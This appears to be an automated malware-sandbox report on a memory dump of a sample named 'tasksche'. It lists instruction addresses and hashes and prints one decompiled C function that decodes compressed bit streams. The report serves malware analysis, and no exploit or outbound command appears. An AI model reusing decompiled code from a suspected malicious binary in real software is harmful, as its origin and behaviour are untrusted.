0x004183ff
0x004183ff
0x00418402
0x00418408
0x0041840a
0x00418420
0x00418425
0x0041842b
0x00418430
0x00418437
0x00418462
0x00418463
0x0041846a
0x0041846d
0x00418488
0x0041848b
0x00418495
0x00418497
0x0041849d
0x004184a7
0x004184ac
0x004184b3
0x004184b9
0x004184bb
0x004184bb
0x004184bb
0x004184bd
0x004184c5
0x004184c5
0x004184c8
0x004184d9
0x004184db
0x00000000
0x004184db
0x004184ca
0x00000000
0x004184ca
0x0041846f
0x00418476
0x00418476
0x00418478
0x00000000
0x00000000
0x0041847a
0x0041847b
0x0041847e
0x00418481
0x00000000
0x00000000
0x00000000
0x00418483
0x00418485
0x00000000
0x00418485
0x0041843b
0x0041843e
0x00418448
0x00418450
0x00418455
0x00418458
0x00000000
0x0041840c
0x0041840c
0x0041840c
0x0041840d
0x00418413
0x00418413
0x00000000
0x00418413
0x0041840a
0x00418325
0x004182ac
0x004182af
0x004182b2
0x004182b2
0x00000000
0x004182b2
0x0041824c
0x00418253
0x00418253
0x00418255
0x00000000
0x00000000
0x00418257
0x00418258
0x0041825b
0x0041825e
0x00000000
0x00000000
0x00000000
0x00418260
0x00418262
0x00000000
0x00418262
0x0041821b
0x0041821e
0x00418228
0x0041822d
0x00418230
0x00418235
0x00418238
0x00000000
0x00418238
0x00417eb0
0x00417eb5
0x00418ae5
0x00418aea
0x00418aea
0x00418aea
0x00000000
0x00418aea
0x00417ec1
0x004181ed
0x004181f6
0x00000000
0x004181f6
0x00417ec9
0x00417ed0
0x00417ee6
0x00417ee9
0x00000000
0x00000000
0x00417eef
0x00417ef2
0x00000000
0x00000000
0x00417ef8
0x00417efb
0x00417f06
0x00417f09
0x004180ce
0x004180d1
0x00000000
0x00000000
0x004180d9
0x004180de
0x004180e1
0x00000000
0x00000000
0x004180f0
0x004180f3
0x004180f6
0x004180f9
0x004180ff
0x00418101
0x004181ae
0x004181ae
0x004181b2
0x00000000
0x00000000
0x004181b8
0x004181be
0x004181c4
0x004181c7
0x004181cf
0x004181d5
0x004181db
0x004181df
0x004181e3
0x004181e3
0x00000000
0x004181e8
0x00418107
0x00418109
0x00000000
0x00000000
0x0041810f
0x00418115
0x0041811a
0x0041811d
0x00418122
0x00418125
0x00418128
0x00418179
0x0041817c
0x00000000
0x00000000
0x00418185
0x00418185
0x00418188
0x0041818b
0x00418191
0x00418196
0x0041819a
0x0041819e
0x004181a1
0x004181a4
0x004181a4
0x004181a4
0x004181a4
0x00000000
0x004181a9
0x0041812a
0x0041812d
0x00000000
0x00000000
0x00418133
0x00418136
0x00418136
0x00418139
0x0041813b
0x0041813f
0x00418144
0x0041814a
0x00418150
0x00418156
0x0041815c
0x00418162
0x00418165
0x00418168
0x0041816b
0x0041816e
0x00418171
0x00418171
0x00418171
0x00000000
0x00417f0f
0x00417f0f
0x00417f0f
0x00417f11
0x00417f14
0x00417f17
0x00417f17
0x00417f1b
0x00000000
0x00000000
0x00417f23
0x00417f28
0x00417f2b
0x00417f33
0x00417f37
0x00417f3a
0x00417f44
0x00417f44
0x00417f3c
0x00417f3c
0x00417f3c
0x00417f2d
0x00417f2d
0x00417f2d
0x00417f46
0x00417f49
0x00417f4d
0x00000000
0x00417f4f
0x00417f4f
0x00417f53
0x00000000
0x00000000
0x00417f5c
0x00417f62
0x00417f62
0x00417f65
0x00417f6a
0x00417f6c
0x00417f75
0x00417f7b
0x00417f7d
0x0041808f
0x0041808f
0x00418093
0x00418099
0x0041809f
0x004180a5
0x004180a8
0x004180b0
0x004180b6
0x004180bc
0x004180c0
0x004180c4
0x004180c4
0x004180c9
0x00000000
0x00418093
0x00417f83
0x00417f85
0x00000000
0x00000000
0x00417f8b
0x00417f91
0x00417f94
0x00417f97
0x00417f9b
0x00417f9e
0x00417fa1
0x00417fa4
0x00417ff2
0x00417ff5
0x0041801e
0x0041801e
0x00418021
0x00418023
0x00000000
0x00418029
0x00418029
0x00000000
0x00418029
0x00417ff7
0x00417ffa
0x00417ffa
0x00417ffd
0x00418000
0x00418006
0x0041800b
0x0041800f
0x00418013
0x00418016
0x00418019
0x00418019
0x00418019
0x00418019
0x00000000
0x00418000
0x00417ff5
0x00417fa6
0x00417fa9
0x00417fad
0x00417fad
0x00417fb0
0x00417fb2
0x00417fb4
0x00417fb8
0x00417fbd
0x00417fc3
0x00417fc9
0x00417fcf
0x00417fd5
0x00417fdb
0x00417fde
0x00417fe1
0x00417fe4
0x00417fe7
0x00417fea
0x00417fea
0x00417fea
0x00417fed
0x00417fed
0x00417fed
0x00000000
0x00417fa9
0x00417f4d
0x00000000
0x00417f17
0x00417efd
0x00417eff
0x00000000
0x00417eff
0x00417ed2
0x00417ed4
0x00000000
0x00417ed4
0x00417e5e
0x00417e60
0x00417e65
0x00417e6b
0x00417e71
0x00418afc
0x00418afc
0x00418afc
0x00417e77
0x00417e8b
0x00417e92
0x00418ad6
0x00000000
0x00418ad6
0x00000000
0x00417e92
0x00417e79
0x00417e85
0x00000000
0x00000000
0x00000000
0x00417e85
0x00417e58
0x00418af1
0x00000000
0x00418af3
0x00417dee
0x00417df5
0x00417dfc
0x00000000
0x00000000
0x00417e06
0x00417e13
0x00417e1a
0x00000000
0x00000000
0x00417e1a
0x00000000
0x00417d8d
0x00417d8d
0x00417d90
0x00417d92
0x00417d92
0x00417d9b
0x00417d9e
0x00417da7
0x00417dae
0x00417db2
0x00417db5
0x00417dba
0x00417dbd
0x00417dbd
0x00417dc0
0x00417dca
0x00417dcb
0x00417dcb
0x00417dce
0x00417dce
0x00417dbd
0x00417dd3
0x00417dd4
0x00000000
0x00417d92

APIs

_memset.LIBCMT ref: 00417DB5

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: f2ddf0237e8c887b9397686041efde03e6b7465c6b8aca2acf299e0ee70c85ec
Instruction ID: ca8e397051957a2ab45e24d4035287d6273771f133136d8253d7927585564b75
Opcode Fuzzy Hash: f2ddf0237e8c887b9397686041efde03e6b7465c6b8aca2acf299e0ee70c85ec
Instruction Fuzzy Hash: 5692D5709087859FCB29CF34C4D06E9BBF1AF55308F18C5AED8968B342D738A985CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00414946 Relevance: 2.0, APIs: 1, Instructions: 478
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E00414946(void* __ebx, intOrPtr __ecx, signed int _a4) {
				signed char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				signed char _v24;
				signed int* _v28;
				intOrPtr _v32;
				signed char _v36;
				signed int _v40;
				signed int _v44;
				signed char _v48;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t214;
				intOrPtr _t215;
				signed int _t216;
				signed int _t217;
				signed int _t219;
				unsigned int _t220;
				signed int _t223;
				signed int _t224;
				signed int _t226;
				unsigned int _t227;
				signed int _t230;
				signed int _t231;
				signed int _t236;
				unsigned int _t237;
				signed int _t240;
				signed int _t241;
				signed int _t242;
				signed int* _t249;
				signed int _t250;
				signed int _t257;
				unsigned int _t258;
				signed int _t261;
				signed int _t262;
				signed int* _t267;
				unsigned int _t268;
				signed int _t271;
				signed int _t272;
				signed int _t273;
				unsigned int _t274;
				signed int _t277;
				signed int _t278;
				signed int _t279;
				unsigned int _t280;
				signed int _t287;
				unsigned int _t288;
				signed int _t291;
				signed int _t292;
				signed int _t294;
				signed int _t295;
				signed int _t297;
				void* _t302;
				void* _t303;
				signed int* _t306;
				signed int* _t307;
				signed int _t311;
				signed int _t312;
				signed int _t315;
				signed int _t316;
				intOrPtr* _t319;
				signed int _t320;
				signed int _t321;
				intOrPtr _t327;
				signed int* _t328;
				signed int _t331;
				void* _t333;
				signed int _t338;
				void* _t340;
				signed char _t344;
				void* _t347;
				intOrPtr* _t351;
				void* _t352;
				signed int _t355;
				signed int _t358;
				signed int _t363;
				unsigned int _t365;
				void* _t367;
				signed char _t370;
				void* _t373;
				signed int _t378;
				unsigned int _t380;
				void* _t382;
				void* _t384;
				signed int _t387;
				void* _t390;
				void* _t392;
				signed int _t395;
				void* _t398;
				signed int _t402;
				signed short _t403;
				intOrPtr* _t405;
				void* _t406;
				signed int _t409;
				signed int _t415;
				signed int _t416;
				signed int _t420;
				signed int _t421;
				signed int _t427;
				signed int _t429;
				signed int _t432;
				signed int _t433;
				intOrPtr* _t436;
				signed int _t441;
				intOrPtr* _t443;

				_t303 = __ebx;
				_t441 = _a4;
				_v32 = __ecx;
				if( *((char*)(_t441 + 0x2c)) != 0) {
					L3:
					_t214 =  *((intOrPtr*)(_t441 + 0x18));
					_t443 = _t441 + 4;
					__eflags =  *_t443 -  *((intOrPtr*)(_t441 + 0x24)) + _t214;
					if( *_t443 <=  *((intOrPtr*)(_t441 + 0x24)) + _t214) {
						 *(_t441 + 0x4ad8) =  *(_t441 + 0x4ad8) & 0x00000000;
						_t17 = _t214 - 1; // -1
						_t215 =  *((intOrPtr*)(_t441 + 0x20)) + _t17;
						_t327 =  *((intOrPtr*)(_t441 + 0x4acc)) - 0x10;
						__eflags = _t215 - _t327;
						_v16 = _t215;
						_v20 = _t327;
						_v12 = _t215;
						if(_t215 >= _t327) {
							_v12 = _t327;
						}
						_push(_t303);
						while(1) {
							_t214 =  *_t443;
							__eflags = _t214 - _v12;
							if(_t214 < _v12) {
								goto L15;
							}
							L9:
							__eflags = _t214 - _v16;
							if(__eflags > 0) {
								L97:
								goto L98;
							}
							if(__eflags != 0) {
								L12:
								__eflags = _t214 - _v20;
								if(_t214 < _v20) {
									L14:
									__eflags = _t214 -  *((intOrPtr*)(_t441 + 0x4acc));
									if(_t214 >=  *((intOrPtr*)(_t441 + 0x4acc))) {
										L96:
										 *((char*)(_t441 + 0x4ad3)) = 1;
										goto L97;
									}
									goto L15;
								}
								__eflags =  *((char*)(_t441 + 0x4ad2));
								if( *((char*)(_t441 + 0x4ad2)) == 0) {
									goto L96;
								}
								goto L14;
							}
							__eflags =  *((intOrPtr*)(_t441 + 8)) -  *((intOrPtr*)(_t441 + 0x1c));
							if( *((intOrPtr*)(_t441 + 8)) >=  *((intOrPtr*)(_t441 + 0x1c))) {
								goto L97;
							}
							goto L12;
							L15:
							_t328 = _t441 + 0x4adc;
							_t216 =  *_t328;
							__eflags =  *(_t441 + 0x4ad8) - _t216 - 8;
							if(__eflags > 0) {
								_t295 = _t216 + _t216;
								 *_t328 = _t295;
								_push(_t295 * 0xc);
								_t307 = _t441 + 0x4ad4;
								_push( *_t307);
								_t297 = E0041A594(_t307, _t441, _t443, __eflags);
								 *_t307 = _t297;
								__eflags = _t297;
								if(_t297 == 0) {
									E004063CE(0x4335ac);
								}
							}
							_t217 =  *(_t441 + 0x4ad8);
							_t306 = _t217 * 0xc +  *(_t441 + 0x4ad4);
							_v28 = _t306;
							 *(_t441 + 0x4ad8) = _t217 + 1;
							_t219 = E0040978C(_t443);
							_t415 =  *(_t441 + 0xb4);
							_t220 = _t219 & 0x0000fffe;
							__eflags = _t220 -  *((intOrPtr*)(_t441 + 0x34 + _t415 * 4));
							if(_t220 >=  *((intOrPtr*)(_t441 + 0x34 + _t415 * 4))) {
								_t416 = _t415 + 1;
								_a4 = 0xf;
								__eflags = _t416 - 0xf;
								if(_t416 >= 0xf) {
									L26:
									_t331 =  *(_t443 + 4) + _a4;
									 *_t443 =  *_t443 + (_t331 >> 3);
									_t419 = _a4;
									 *(_t443 + 4) = _t331 & 0x00000007;
									_t333 = 0x10;
									_t223 = (_t220 -  *((intOrPtr*)(_t441 + 0x30 + _a4 * 4)) >> _t333 - _a4) +  *((intOrPtr*)(_t441 + 0x74 + _t419 * 4));
									__eflags = _t223 -  *((intOrPtr*)(_t441 + 0x30));
									if(_t223 >=  *((intOrPtr*)(_t441 + 0x30))) {
										_t223 = 0;
										__eflags = 0;
									}
									_t224 =  *(_t441 + 0xcb8 + _t223 * 2) & 0x0000ffff;
									goto L29;
								}
								_t405 = _t441 + 0x34 + _t416 * 4;
								while(1) {
									__eflags = _t220 -  *_t405;
									if(_t220 <  *_t405) {
										break;
									}
									_t416 = _t416 + 1;
									_t405 = _t405 + 4;
									__eflags = _t416 - 0xf;
									if(_t416 < 0xf) {
										continue;
									}
									goto L26;
								}
								_a4 = _t416;
								goto L26;
							} else {
								_t406 = 0x10;
								_t294 = _t220 >> _t406 - _t415;
								_t409 = ( *(_t294 + _t441 + 0xb8) & 0x000000ff) +  *(_t443 + 4);
								 *_t443 =  *_t443 + (_t409 >> 3);
								 *(_t443 + 4) = _t409 & 0x00000007;
								_t224 =  *(_t441 + 0x4b8 + _t294 * 2) & 0x0000ffff;
								L29:
								__eflags = _t224 - 0x100;
								if(_t224 >= 0x100) {
									__eflags = _t224 - 0x106;
									if(_t224 < 0x106) {
										__eflags = _t224 - 0x100;
										if(_t224 != 0x100) {
											__eflags = _t224 - 0x101;
											if(_t224 != 0x101) {
												 *_t306 = 3;
												_t306[2] = _t224 + 0xfffffefe;
												_t226 = E0040978C(_t443);
												_t420 =  *(_t441 + 0x2d78);
												_t227 = _t226 & 0x0000fffe;
												__eflags = _t227 -  *((intOrPtr*)(_t441 + 0x2cf8 + _t420 * 4));
												if(_t227 >=  *((intOrPtr*)(_t441 + 0x2cf8 + _t420 * 4))) {
													_t421 = _t420 + 1;
													_a4 = 0xf;
													__eflags = _t421 - 0xf;
													if(_t421 >= 0xf) {
														L88:
														_t338 =  *(_t443 + 4) + _a4;
														 *_t443 =  *_t443 + (_t338 >> 3);
														_t424 = _a4;
														 *(_t443 + 4) = _t338 & 0x00000007;
														_t340 = 0x10;
														_t230 = (_t227 -  *((intOrPtr*)(_t441 + 0x2cf4 + _a4 * 4)) >> _t340 - _a4) +  *((intOrPtr*)(_t441 + 0x2d38 + _t424 * 4));
														__eflags = _t230 -  *((intOrPtr*)(_t441 + 0x2cf4));
														if(_t230 >=  *((intOrPtr*)(_t441 + 0x2cf4))) {
															_t230 = 0;
															__eflags = 0;
														}
														_t231 =  *(_t441 + 0x397c + _t230 * 2) & 0x0000ffff;
														L91:
														__eflags = _t231 - 8;
														if(_t231 >= 8) {
															_t344 = (_t231 >> 2) - 1;
															_v8 = _t344;
															_t236 = ((_t231 & 0x00000003 | 0x00000004) << _t344) + 2;
															_a4 = _t236;
															__eflags = _t344;
															if(_t344 > 0) {
																_t237 = E0040978C(_t443);
																_t347 = 0x10;
																_a4 = _a4 + (_t237 >> _t347 - _v8);
																_t240 =  *(_t443 + 4) + _v8;
																 *_t443 =  *_t443 + (_t240 >> 3);
																_t241 = _t240 & 0x00000007;
																__eflags = _t241;
																 *(_t443 + 4) = _t241;
																_t236 = _a4;
															}
														} else {
															_t236 = _t231 + 2;
														}
														L95:
														_t306[1] = _t236;
														while(1) {
															_t214 =  *_t443;
															__eflags = _t214 - _v12;
															if(_t214 < _v12) {
																goto L15;
															}
															goto L9;
														}
													}
													_t351 = _t441 + 0x2cf8 + _t421 * 4;
													while(1) {
														__eflags = _t227 -  *_t351;
														if(_t227 <  *_t351) {
															break;
														}
														_t421 = _t421 + 1;
														_t351 = _t351 + 4;
														__eflags = _t421 - 0xf;
														if(_t421 < 0xf) {
															continue;
														}
														goto L88;
													}
													_a4 = _t421;
													goto L88;
												}
												_t352 = 0x10;
												_t242 = _t227 >> _t352 - _t420;
												_t355 = ( *(_t242 + _t441 + 0x2d7c) & 0x000000ff) +  *(_t443 + 4);
												 *_t443 =  *_t443 + (_t355 >> 3);
												 *(_t443 + 4) = _t355 & 0x00000007;
												_t231 =  *(_t441 + 0x317c + _t242 * 2) & 0x0000ffff;
												goto L91;
											}
											 *_t306 = 2;
											while(1) {
												_t214 =  *_t443;
												__eflags = _t214 - _v12;
												if(_t214 < _v12) {
													goto L15;
												}
												goto L9;
											}
										}
										_push( &_v48);
										E00414290(_v32, _t443);
										_t306[1] = _v48 & 0x000000ff;
										_t306[2] = _v44;
										_t358 = 4;
										 *_t306 = _t358;
										_t427 =  *(_t441 + 0x4ad8);
										_t249 = _t427 * 0xc +  *(_t441 + 0x4ad4);
										 *(_t441 + 0x4ad8) = _t427 + 1;
										 *_t249 = _t358;
										_t249[1] = _v36 & 0x000000ff;
										_t249[2] = _v40;
										while(1) {
											_t214 =  *_t443;
											__eflags = _t214 - _v12;
											if(_t214 < _v12) {
												goto L15;
											}
											goto L9;
										}
									}
									_t250 = _t224 + 0xfffffefa;
									__eflags = _t250 - 8;
									if(_t250 >= 8) {
										_t311 = (_t250 >> 2) - 1;
										_v8 = ((_t250 & 0x00000003 | 0x00000004) << _t311) + 2;
										__eflags = _t311;
										if(_t311 > 0) {
											_t288 = E0040978C(_t443);
											_t398 = 0x10;
											_v8 = _v8 + (_t288 >> _t398 - _t311);
											_t291 =  *(_t443 + 4) + _t311;
											 *_t443 =  *_t443 + (_t291 >> 3);
											_t292 = _t291 & 0x00000007;
											__eflags = _t292;
											 *(_t443 + 4) = _t292;
										}
									} else {
										_v8 = _t250 + 2;
									}
									_v24 = _v8;
									_t257 = E0040978C(_t443);
									_t429 =  *(_t441 + 0xfa0);
									_t258 = _t257 & 0x0000fffe;
									__eflags = _t258 -  *((intOrPtr*)(_t441 + 0xf20 + _t429 * 4));
									if(_t258 >=  *((intOrPtr*)(_t441 + 0xf20 + _t429 * 4))) {
										_t312 = 0xf;
										_t363 = _t429 + 1;
										__eflags = _t363 - _t312;
										if(_t363 >= _t312) {
											L48:
											_t365 =  *(_t443 + 4) + _t312;
											 *(_t443 + 4) = _t365 & 0x00000007;
											 *_t443 =  *_t443 + (_t365 >> 3);
											_t367 = 0x10;
											_t261 = (_t258 -  *((intOrPtr*)(_t441 + 0xf1c + _t312 * 4)) >> _t367 - _t312) +  *((intOrPtr*)(_t441 + 0xf60 + _t312 * 4));
											__eflags = _t261 -  *((intOrPtr*)(_t441 + 0xf1c));
											if(_t261 >=  *((intOrPtr*)(_t441 + 0xf1c))) {
												_t261 = 0;
												__eflags = 0;
											}
											_t262 =  *(_t441 + 0x1ba4 + _t261 * 2) & 0x0000ffff;
											goto L51;
										}
										_t436 = _t441 + 0xf20 + _t363 * 4;
										while(1) {
											__eflags = _t258 -  *_t436;
											if(_t258 <  *_t436) {
												break;
											}
											_t363 = _t363 + 1;
											_t436 = _t436 + 4;
											__eflags = _t363 - 0xf;
											if(_t363 < 0xf) {
												continue;
											}
											goto L48;
										}
										_t312 = _t363;
										goto L48;
									} else {
										_t392 = 0x10;
										_t287 = _t258 >> _t392 - _t429;
										_t395 = ( *(_t287 + _t441 + 0xfa4) & 0x000000ff) +  *(_t443 + 4);
										 *_t443 =  *_t443 + (_t395 >> 3);
										 *(_t443 + 4) = _t395 & 0x00000007;
										_t262 =  *(_t441 + 0x13a4 + _t287 * 2) & 0x0000ffff;
										L51:
										__eflags = _t262 - 4;
										if(_t262 >= 4) {
											_t315 = (_t262 >> 1) - 1;
											_a4 = ((_t262 & 0x00000001 | 0x00000002) << _t315) + 1;
											__eflags = _t315;
											if(_t315 <= 0) {
												L70:
												_t432 = _a4;
												__eflags = _t432 - 0x100;
												if(_t432 <= 0x100) {
													_t370 = _v24;
												} else {
													_t370 = _v8 + 1;
													__eflags = _t432 - 0x2000;
													if(_t432 > 0x2000) {
														_t370 = _t370 + 1;
														__eflags = _t432 - 0x40000;
														if(_t432 > 0x40000) {
															_t370 = _t370 + 1;
														}
													}
												}
												_t267 = _v28;
												 *_t267 = 1;
												_t267[1] = _t370;
												_t267[2] = _t432;
												while(1) {
													_t214 =  *_t443;
													__eflags = _t214 - _v12;
													if(_t214 < _v12) {
														goto L15;
													}
													goto L9;
												}
											}
											__eflags = _t315 - 4;
											if(__eflags < 0) {
												_t268 = E00412AEB(_t443);
												_t373 = 0x20;
												_a4 = _a4 + (_t268 >> _t373 - _t315);
												_t271 =  *(_t443 + 4) + _t315;
												 *_t443 =  *_t443 + (_t271 >> 3);
												_t272 = _t271 & 0x00000007;
												__eflags = _t272;
												 *(_t443 + 4) = _t272;
												goto L70;
											}
											if(__eflags > 0) {
												_t280 = E00412AEB(_t443);
												_t390 = 0x24;
												_a4 = _a4 + (_t280 >> _t390 - _t315 << 4);
												_t320 =  *(_t443 + 4) + _t315 - 4;
												 *_t443 =  *_t443 + (_t320 >> 3);
												_t321 = _t320 & 0x00000007;
												__eflags = _t321;
												 *(_t443 + 4) = _t321;
											}
											_t273 = E0040978C(_t443);
											_t316 =  *(_t441 + 0x1e8c);
											_t274 = _t273 & 0x0000fffe;
											__eflags = _t274 -  *((intOrPtr*)(_t441 + 0x1e0c + _t316 * 4));
											if(_t274 >=  *((intOrPtr*)(_t441 + 0x1e0c + _t316 * 4))) {
												_t433 = 0xf;
												_t378 = _t316 + 1;
												__eflags = _t378 - _t433;
												if(_t378 >= _t433) {
													L65:
													_t380 =  *(_t443 + 4) + _t433;
													 *(_t443 + 4) = _t380 & 0x00000007;
													 *_t443 =  *_t443 + (_t380 >> 3);
													_t382 = 0x10;
													_t277 = (_t274 -  *((intOrPtr*)(_t441 + 0x1e08 + _t433 * 4)) >> _t382 - _t433) +  *((intOrPtr*)(_t441 + 0x1e4c + _t433 * 4));
													__eflags = _t277 -  *((intOrPtr*)(_t441 + 0x1e08));
													if(_t277 >=  *((intOrPtr*)(_t441 + 0x1e08))) {
														_t277 = 0;
														__eflags = 0;
													}
													_t278 =  *(_t441 + 0x2a90 + _t277 * 2) & 0x0000ffff;
													goto L68;
												}
												_t319 = _t441 + 0x1e0c + _t378 * 4;
												while(1) {
													__eflags = _t274 -  *_t319;
													if(_t274 <  *_t319) {
														break;
													}
													_t378 = _t378 + 1;
													_t319 = _t319 + 4;
													__eflags = _t378 - 0xf;
													if(_t378 < 0xf) {
														continue;
													}
													goto L65;
												}
												_t433 = _t378;
												goto L65;
											} else {
												_t384 = 0x10;
												_t279 = _t274 >> _t384 - _t316;
												_t387 = ( *(_t279 + _t441 + 0x1e90) & 0x000000ff) +  *(_t443 + 4);
												 *_t443 =  *_t443 + (_t387 >> 3);
												 *(_t443 + 4) = _t387 & 0x00000007;
												_t278 =  *(_t441 + 0x2290 + _t279 * 2) & 0x0000ffff;
												L68:
												_a4 = _a4 + _t278;
												goto L70;
											}
										}
										_a4 = _t262 + 1;
										goto L70;
									}
								}
								__eflags =  *(_t441 + 0x4ad8) - 1;
								if( *(_t441 + 0x4ad8) <= 1) {
									L34:
									 *_t306 =  *_t306 & 0x00000000;
									_t306[2] = _t224;
									_t236 = 0;
									goto L95;
								}
								__eflags =  *(_t306 - 0xc);
								if( *(_t306 - 0xc) != 0) {
									goto L34;
								}
								_t402 =  *(_t306 - 8) & 0x0000ffff;
								__eflags = _t402 - 3;
								if(_t402 >= 3) {
									goto L34;
								}
								_t403 = _t402 + 1;
								 *(_t306 - 8) = _t403;
								 *((_t403 & 0x0000ffff) + _t306 - 4) = _t224;
								 *(_t441 + 0x4ad8) =  *(_t441 + 0x4ad8) - 1;
								continue;
							}
						}
					} else {
						 *((char*)(_t441 + 0x4ad0)) = 1;
						L98:
						return _t214;
					}
				} else {
					 *((char*)(_t441 + 0x2c)) = 1;
					_t302 = E0041462B(__ebx, __ecx, _t441 + 4, _t441 + 0x18, _t441 + 0x30);
					if(_t302 != 0) {
						goto L3;
					} else {
						 *((char*)(_t441 + 0x4ad0)) = 1;
						return _t302;
					}
				}
			}

0x00414946
0x0041494d
0x00414954
0x00414957
0x0041497e
0x0041497e
0x00414985
0x0041498a
0x0041498c
0x0041499d
0x004149a4
0x004149a4
0x004149ae
0x004149b1
0x004149b3
0x004149b6
0x004149b9
0x004149bc
0x004149be
0x004149be
0x004149c1
0x004149c2
0x004149c2
0x004149c4
0x004149c7
0x00000000
0x00000000
0x004149c9
0x004149c9
0x004149cc
0x00414f03
0x00000000
0x00414f03
0x004149d2
0x004149e0
0x004149e0
0x004149e3
0x004149f2
0x004149f2
0x004149f8
0x00414efc
0x00414efc
0x00000000
0x00414efc
0x00000000
0x004149f8
0x004149e5
0x004149ec
0x00000000
0x00000000
0x00000000
0x004149ec
0x004149d7
0x004149da
0x00000000
0x00000000
0x00000000
0x004149fe
0x004149fe
0x00414a04
0x00414a09
0x00414a0f
0x00414a11
0x00414a13
0x00414a18
0x00414a19
0x00414a1f
0x00414a21
0x00414a28
0x00414a2a
0x00414a2c
0x00414a33
0x00414a33
0x00414a2c
0x00414a38
0x00414a43
0x00414a4c
0x00414a4f
0x00414a55
0x00414a5a
0x00414a60
0x00414a65
0x00414a69
0x00414a94
0x00414a95
0x00414a9c
0x00414a9f
0x00414ab7
0x00414aba
0x00414ac4
0x00414ac6
0x00414acc
0x00414ad3
0x00414ad8
0x00414adc
0x00414adf
0x00414ae1
0x00414ae1
0x00414ae1
0x00414ae3
0x00000000
0x00414ae3
0x00414aa1
0x00414aa5
0x00414aa5
0x00414aa7
0x00000000
0x00000000
0x00414aa9
0x00414aaa
0x00414aad
0x00414ab0
0x00000000
0x00000000
0x00000000
0x00414ab2
0x00414ab4
0x00000000
0x00414a6b
0x00414a6d
0x00414a70
0x00414a7a
0x00414a82
0x00414a87
0x00414a8a
0x00414aeb
0x00414af0
0x00414af2
0x00414b31
0x00414b36
0x00414d8d
0x00414d8f
0x00414de0
0x00414de5
0x00414df9
0x00414dff
0x00414e02
0x00414e07
0x00414e0d
0x00414e12
0x00414e19
0x00414e44
0x00414e45
0x00414e4c
0x00414e4f
0x00414e6a
0x00414e6d
0x00414e77
0x00414e79
0x00414e7f
0x00414e89
0x00414e8e
0x00414e95
0x00414e9b
0x00414e9d
0x00414e9d
0x00414e9d
0x00414e9f
0x00414ea7
0x00414ea7
0x00414eaa
0x00414eb9
0x00414ebf
0x00414ec3
0x00414ec4
0x00414ec7
0x00414ec9
0x00414ecd
0x00414ed4
0x00414eda
0x00414ee0
0x00414ee8
0x00414eea
0x00414eea
0x00414eed
0x00414ef0
0x00414ef0
0x00414eac
0x00414eac
0x00414eac
0x00414ef3
0x00414ef3
0x004149c2
0x004149c2
0x004149c4
0x004149c7
0x00000000
0x00000000
0x00000000
0x004149c7
0x004149c2
0x00414e51
0x00414e58
0x00414e58
0x00414e5a
0x00000000
0x00000000
0x00414e5c
0x00414e5d
0x00414e60
0x00414e63
0x00000000
0x00000000
0x00000000
0x00414e65
0x00414e67
0x00000000
0x00414e67
0x00414e1d
0x00414e20
0x00414e2a
0x00414e32
0x00414e37
0x00414e3a
0x00000000
0x00414e3a
0x00414de7
0x004149c2
0x004149c2
0x004149c4
0x004149c7
0x00000000
0x00000000
0x00000000
0x004149c7
0x004149c2
0x00414d97
0x00414d99
0x00414da3
0x00414daa
0x00414daf
0x00414db0
0x00414db2
0x00414dbd
0x00414dc4
0x00414dca
0x00414dd1
0x00414dd8
0x004149c2
0x004149c2
0x004149c4
0x004149c7
0x00000000
0x00000000
0x00000000
0x004149c7
0x004149c2
0x00414b3c
0x00414b41
0x00414b44
0x00414b56
0x00414b60
0x00414b63
0x00414b65
0x00414b69
0x00414b70
0x00414b75
0x00414b7b
0x00414b82
0x00414b84
0x00414b84
0x00414b87
0x00414b87
0x00414b46
0x00414b49
0x00414b49
0x00414b8f
0x00414b92
0x00414b97
0x00414b9d
0x00414ba2
0x00414ba9
0x00414bd6
0x00414bd7
0x00414bda
0x00414bdc
0x00414bf6
0x00414bf9
0x00414c00
0x00414c06
0x00414c11
0x00414c16
0x00414c1d
0x00414c23
0x00414c25
0x00414c25
0x00414c25
0x00414c27
0x00000000
0x00414c27
0x00414bde
0x00414be5
0x00414be5
0x00414be7
0x00000000
0x00000000
0x00414be9
0x00414bea
0x00414bed
0x00414bf0
0x00000000
0x00000000
0x00000000
0x00414bf2
0x00414bf4
0x00000000
0x00414bab
0x00414bad
0x00414bb0
0x00414bba
0x00414bc2
0x00414bc7
0x00414bca
0x00414c2f
0x00414c2f
0x00414c32
0x00414c44
0x00414c4d
0x00414c50
0x00414c52
0x00414d52
0x00414d52
0x00414d55
0x00414d5b
0x00414d75
0x00414d5d
0x00414d60
0x00414d61
0x00414d67
0x00414d69
0x00414d6a
0x00414d70
0x00414d72
0x00414d72
0x00414d70
0x00414d67
0x00414d78
0x00414d7b
0x00414d81
0x00414d85
0x004149c2
0x004149c2
0x004149c4
0x004149c7
0x00000000
0x00000000
0x00000000
0x004149c7
0x004149c2
0x00414c58
0x00414c5b
0x00414d31
0x00414d38
0x00414d3d
0x00414d43
0x00414d4a
0x00414d4c
0x00414d4c
0x00414d4f
0x00000000
0x00414d4f
0x00414c61
0x00414c65
0x00414c6c
0x00414c74
0x00414c7a
0x00414c83
0x00414c85
0x00414c85
0x00414c88
0x00414c88
0x00414c8d
0x00414c92
0x00414c98
0x00414c9d
0x00414ca4
0x00414cd1
0x00414cd2
0x00414cd5
0x00414cd7
0x00414cf1
0x00414cf4
0x00414cfb
0x00414d01
0x00414d0c
0x00414d11
0x00414d18
0x00414d1e
0x00414d20
0x00414d20
0x00414d20
0x00414d22
0x00000000
0x00414d22
0x00414cd9
0x00414ce0
0x00414ce0
